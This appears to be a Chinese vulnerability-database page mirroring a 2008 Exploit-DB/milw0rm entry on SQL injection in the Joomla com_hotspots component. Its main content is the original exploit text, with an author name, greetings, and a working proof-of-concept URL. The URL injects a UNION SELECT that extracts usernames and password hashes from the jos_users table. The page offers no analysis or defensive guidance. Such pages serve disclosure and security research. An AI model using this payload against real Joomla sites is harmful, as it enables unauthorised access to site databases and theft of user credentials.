Joomla! Component com_hotspots - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056895 漏洞类型
发布时间 2008-10-07 更新时间 2008-10-07
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/6692
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Name	:	Joomla Component com_hotspots (w) Remote SQL Injection Vulnerability
Author	:	cOndemned
Data	:	07.10.2008 AD
Greetz	:	sid.psycho, h07, ZaBeaTy, irk4z, Necro, str0ke, t0pP8uZz, TWT, suN8Hclf, 0in and Avantura.... 


PoC		:

	http://[host]/index.php?Itemid=53&option=com_hotspots&task=w&w=5+and+1=2+union+select+concat(username,0x3a,password)+from+jos_users--
	
	
	
Just 4 fun
	

# milw0rm.com [2008-10-07]